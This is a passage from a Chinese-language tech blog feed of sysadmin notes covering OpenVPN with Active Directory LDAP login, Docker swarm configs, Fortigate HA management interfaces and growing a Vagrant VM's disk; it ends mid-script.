&lt;li>&lt;a href="https://www.redhat.com/en/blog/consistent-security-crypto-policies-red-hat-enterprise-linux-8" target="_blank" rel="noopener">https://www.redhat.com/en/blog/consistent-security-crypto-policies-red-hat-enterprise-linux-8&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://medium.com/jerrynotes/linux-authentication-windows-ad-without-join-domain-7963c3fd44c5" target="_blank" rel="noopener">https://medium.com/jerrynotes/linux-authentication-windows-ad-without-join-domain-7963c3fd44c5&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝openvpn&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum install openvpn -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum -y install openssl openssl-devel -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum -y install lzo lzo-devel -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum install -y libgcrypt libgpg-error libgcrypt-devel
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝openvpn認證插件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum install openvpn-auth-ldap -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝easy-rsa&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 由於openvpn2.3之後，在openvpn裏面剔除了easy-rsa文件，所以需要單獨安裝&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum install easy-rsa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cp -rf /usr/share/easy-rsa/2.0 /etc/opevpn/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 生成openvpn的key及證書&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 修改 `/opt/openvpn/etc/easy-rsa/2.0/vars` 參數&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>export KEY_COUNTRY&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;CN&amp;#34;&lt;/span> &lt;span style="color:#75715e"># 國家&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>export KEY_PROVINCE&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;ZJ&amp;#34;&lt;/span> &lt;span style="color:#75715e"># 省份&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>export KEY_CITY&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;NingBo&amp;#34;&lt;/span> &lt;span style="color:#75715e"># 城市&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>export KEY_ORG&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;TEST-VPN&amp;#34;&lt;/span> &lt;span style="color:#75715e"># 組織&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>exportKEY_EMAIL&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;81367070@qq.com&amp;#34;&lt;/span> &lt;span style="color:#75715e"># 郵件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>export KEY_OU&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;baidu&amp;#34;&lt;/span> &lt;span style="color:#75715e"># 單位&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>source vars
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./clean-all
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./build-ca
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./build-dh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./build-key-server server
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./build-key client1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 編輯openvpn服務端配置文件：`/etc/openvpn/server.conf`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>port &lt;span style="color:#ae81ff">1194&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>proto udp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dev tun
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ca keys/ca.crt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cert keys/server.crt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>key keys/server.key &lt;span style="color:#75715e"># This file should be kept secret&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dh keys/dh2048.pem
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>server 10.8.0.0 255.255.255.0 //客戶端分配的ip地址
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>push &lt;span style="color:#e6db74">&amp;#34;route 192.168.1.0 255.255.255.0&amp;#34;&lt;/span> //推送客戶端的路由
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>push &lt;span style="color:#e6db74">&amp;#34;redirect-gateway&amp;#34;&lt;/span> //修改客戶端的網關，使其直接走vpn流量
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ifconfig-pool-persist ipp.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>keepalive &lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#ae81ff">120&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>comp-lzo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>persist-key
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>persist-tun
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>status openvpn-status.log
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>verb &lt;span style="color:#ae81ff">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>plugin /usr/lib64/openvpn/plugin/lib/openvpn-auth-ldap.so &lt;span style="color:#e6db74">&amp;#34;/etc/openvpn/auth/ldap.conf&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>client-cert-not-required
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>username-as-common-name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>log /var/log/openvpn.log
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 修改openvpn-ldap-auth的配置文件 `/etc/openvpn/auth/ldap.conf`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># /etc/openvpn/auth/ldap.conf&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;LDAP&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># LDAP server URL&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 更改爲 AD 服務器的 IP&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> URL ldap://172.16.76.238:389
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Bind DN (If your LDAP server doesn&amp;#39;t support anonymous binds)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># BindDN uid=Manager,ou=People,dc=example,dc=com&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 更改爲域管理的 DN, 可以通過 ldapsearch 進行查詢&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># -h 的 ip 替換爲服務器 ip，-D 換爲管理員的 dn，-b 爲基礎的查詢 dn，* 爲所有&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># ldapsearch -LLL -x -h 172.16.76.238 -D &amp;#34;administrator@xx.com&amp;#34; -W -b &amp;#34;dc=xx,dc=com&amp;#34; &amp;#34;*&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> BindDN &lt;span style="color:#e6db74">&amp;#34;cn=administrator,cn=Users,dc=xx,dc=com&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Bind Password&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Password SecretPassword&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 域管理員的密碼&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Password passwd
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Network timeout (in seconds)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Timeout &lt;span style="color:#ae81ff">15&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Enable Start TLS&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> TLSEnable no
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Follow LDAP Referrals (anonymously)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> FollowReferrals no
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># TLS CA Certificate File&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># TLSCACertFile /usr/local/etc/ssl/ca.pem&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># TLS CA Certificate Directory&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># TLSCACertDir /etc/ssl/certs&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Client Certificate and key&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># If TLS client authentication is required&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># TLSCertFile /usr/local/etc/ssl/client-cert.pem&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># TLSKeyFile /usr/local/etc/ssl/client-key.pem&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Cipher Suite&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># The defaults are usually fine here&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># TLSCipherSuite ALL:!ADH:@STRENGTH&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/LDAP&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;Authorization&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Base DN&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 查詢認證的基礎 dn&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> BaseDN &lt;span style="color:#e6db74">&amp;#34;dc=boqii-inc,dc=com&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># User Search Filter&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># SearchFilter &amp;#34;(&amp;amp;(uid=%u)(accountStatus=active))&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 其中 sAMAccountName=%u 的意思是把 sAMAccountName 的字段取值爲用戶名，&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 後面 &amp;#34;memberof=CN=myvpn,DC=xx,DC=com&amp;#34; 指向要認證的 vpn 用戶組，&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 這樣任何用戶使用 vpn，只要加入這個組就好了&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> SearchFilter &lt;span style="color:#e6db74">&amp;#34;(&amp;amp;(sAMAccountName=%u)(memberof=CN=myvpn,DC=boqii-inc,DC=com))&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Require Group Membership&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> RequireGroup false
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Add non-group members to a PF table (disabled)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># PFTable ips_vpn_users&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;Group&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># BaseDN &amp;#34;ou=Groups,dc=example,dc=com&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># SearchFilter &amp;#34;(|(cn=developers)(cn=artists))&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># MemberAttribute uniqueMember&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Add group members to a PF table (disabled)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># PFTable ips_vpn_eng&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> BaseDN &lt;span style="color:#e6db74">&amp;#34;ou=vpn,dc=boqii-inc,dc=com&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> SearchFilter &lt;span style="color:#e6db74">&amp;#34;(cn=openvpn)&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> MemberAttribute &lt;span style="color:#e6db74">&amp;#34;member&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/Group&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/Authorization&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>拷貝&lt;code>/etc/openvpn/key&lt;/code>目錄下的&lt;code>ca.crt&lt;/code>證書，以備客戶端使用。&lt;/p></description></item><item><title>Docker 小技巧：使用 Docker Config</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200914-about-using-docker-config/</link><pubDate>Mon, 14 Sep 2020 11:13:23 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200914-about-using-docker-config/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/better-programming/about-using-docker-config-e967d4a74b83" target="_blank" rel="noopener">Docker 小技巧：使用 Docker Config&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-dockerfile" data-lang="dockerfile">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">FROM&lt;/span>&lt;span style="color:#e6db74"> nginx:1.13.6&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">COPY&lt;/span> nginx.conf /etc/nginx/nginx.conf&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>使用 Docker CLI，可以從這個設定檔建立一個 &lt;code>config&lt;/code>，並將它命名為 &lt;code>proxy&lt;/code>。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ docker config create proxy nginx.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mdcfnxud53ve6jgcgjkhflg0s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ docker config inspect proxy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;ID&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;x06uaozphg9kbnf8g4az4mucn&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;Version&amp;#34;&lt;/span>: &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;Index&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">2723&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">}&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;CreatedAt&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;2017-11-21T07:49:09.553666064Z&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;UpdatedAt&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;2017-11-21T07:49:09.553666064Z&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;Spec&amp;#34;&lt;/span>: &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;Name&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;proxy&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;Labels&amp;#34;&lt;/span>: &lt;span style="color:#f92672">{}&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;Data&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;dXNlciB3d3ctZGF0YTsKd29y...ogIgICAgIH0KICAgIH0KfQo=&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="使用-config">使用 Config&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ docker network create --driver overlay front
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ docker service create --name api --network front lucj/api
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ docker service create --name proxy &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --network front &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --config src&lt;span style="color:#f92672">=&lt;/span>proxy,target&lt;span style="color:#f92672">=&lt;/span>/etc/nginx/nginx.conf &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --port 8000:8000 &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> nginx:1.13.6
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="服務更新">服務更新&lt;/h5>
&lt;p>當設定內容需要修改時，常見做法是建立新的 config（使用 &lt;code>docker config create&lt;/code>），然後更新服務以移除舊的 config 並加上新的 config。對應的服務指令是 &lt;code>--config-rm&lt;/code> 與 &lt;code>--config-add&lt;/code>。&lt;/p></description></item><item><title>Fortigate 在 HA 模式下的管理介面</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200908-dediziertes-management-interface-fur-fortigate-im-ha-betrieb/</link><pubDate>Tue, 08 Sep 2020 09:47:47 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200908-dediziertes-management-interface-fur-fortigate-im-ha-betrieb/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.unixfu.ch/dediziertes-management-interface-fur-fortigate-im-ha-betrieb/" target="_blank" rel="noopener">Fortigate 在 HA 模式下的管理介面&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="先啟用此功能">先啟用此功能&lt;/h5>
&lt;pre tabindex="0">&lt;code>config system ha
set ha-mgmt-status enable
config ha-mgmt-interfaces
edit 1
set interface wan2
set gateway 192.168.147.254
next
end
end
&lt;/code>&lt;/pre>&lt;p>別忘了設定預設閘道。這個介面是隔離的，需要獨立的路由設定。&lt;/p>
&lt;h5 id="接著為叢集中的每個節點設定獨立-ip">接著為叢集中的每個節點設定獨立 IP&lt;/h5>
&lt;p>System1&lt;/p>
&lt;pre tabindex="0">&lt;code>config system interface
edit wan2
set ip 10.11.101.101/24
set allowaccess https ping ssh snmp
next
end
&lt;/code>&lt;/pre>&lt;p>System2&lt;/p>
&lt;pre tabindex="0">&lt;code>config system interface
edit wan2
set ip 10.11.101.102/24
set allowaccess https ping ssh snmp
next
end
&lt;/code>&lt;/pre>&lt;hr>
&lt;h4 id="fortios-56-起新增">FortiOS 5.6 起新增&lt;/h4>
&lt;p>從 FortiOS 5.6 開始，有一種新的方式可以直接存取每台設備。這是 In-Band 的方法，不需要保留介面。&lt;/p>
&lt;h5 id="在任意介面設定管理用-ip-位址這個位址不會在叢集中同步">在任意介面設定管理用 IP 位址。這個位址不會在叢集中同步。&lt;/h5>
&lt;p>System1&lt;/p></description></item><item><title>使用 Vagrant 自動調整 VirtualBox 磁碟大小</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200825-how-to-automatically-resize-virtual-box-disk-with-vagrant/</link><pubDate>Tue, 25 Aug 2020 09:40:34 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200825-how-to-automatically-resize-virtual-box-disk-with-vagrant/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/@kanrangsan/how-to-automatically-resize-virtual-box-disk-with-vagrant-9f0f48aa46b3" target="_blank" rel="noopener">使用 Vagrant 自動調整 VirtualBox 磁碟大小&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://marcbrandner.com/blog/increasing-disk-space-of-a-linux-based-vagrant-box-on-provisioning/" target="_blank" rel="noopener">Increasing Disk Space of a Linux-based Vagrant Box on Provisioning&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">Vagrant&lt;/span>&lt;span style="color:#f92672">.&lt;/span>configure(&lt;span style="color:#ae81ff">2&lt;/span>) &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>config&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;centos/7&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>config&lt;span style="color:#f92672">.&lt;/span>disksize&lt;span style="color:#f92672">.&lt;/span>size &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;20GB&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ sudo parted /dev/sda resizepart &lt;span style="color:#ae81ff">2&lt;/span> 100%
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sudo lvextend -l +100%FREE /dev/centos/root
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sudo xfs_growfs /dev/centos/root
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="自動化部分">自動化部分&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">Vagrant&lt;/span>&lt;span style="color:#f92672">.&lt;/span>configure(&lt;span style="color:#ae81ff">2&lt;/span>) &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>config&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>common &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;lt;&amp;lt;-SCRIPT
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">&lt;/span>sudo parted &lt;span style="color:#e6db74">/dev/s&lt;/span>da resizepart &lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#ae81ff">100&lt;/span>&lt;span style="color:#f92672">%&lt;/span>
